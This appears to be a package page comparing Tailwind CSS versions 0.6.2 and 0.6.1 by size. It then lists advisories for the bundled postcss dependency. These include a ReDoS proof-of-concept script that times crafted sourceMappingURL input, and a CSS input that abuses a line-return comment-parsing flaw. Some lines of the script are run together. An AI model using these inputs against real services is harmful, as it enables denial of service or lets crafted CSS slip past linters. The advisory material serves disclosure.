Tailwind CSS version 0.6.2 arrived on July 11, 2018, presenting subtle yet noteworthy refinements over its predecessor, version 0.6.1 (released June 22, 2018). While both versions share the core "utility-first" philosophy for rapid UI development and boast identical dependencies like lodash, postcss, and fs-extra for core functionality and developer tools such as eslint, prettier and autoprefixer for code quality and styling, the key differences lie in the package's distribution.
Version 0.6.2 exhibits a slightly larger footprint, with 112 files included in the package compared to 0.6.1's 108. The unpacked size also sees a small increase, growing from 2,032,401 bytes to 2,039,116 bytes. These size differences suggest potential additions or modifications to the framework's core files, possibly bug fixes, or minor feature enhancements. Since Tailwind CSS is a framework focused on generating CSS, even small changes in the configuration or utilities can affect file count and size as new variations are generated during usage. Those considering upgrading from 0.6.1 should test their configurations to ensure smooth transition and benefit from any potential bug fixes included within. Overall, as a minor version increment, the changes are likely evolutionary rather than revolutionary, refining the developer experience and feature set within the existing utility-first paradigm.
All the vulnerabilities related to the version 0.6.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.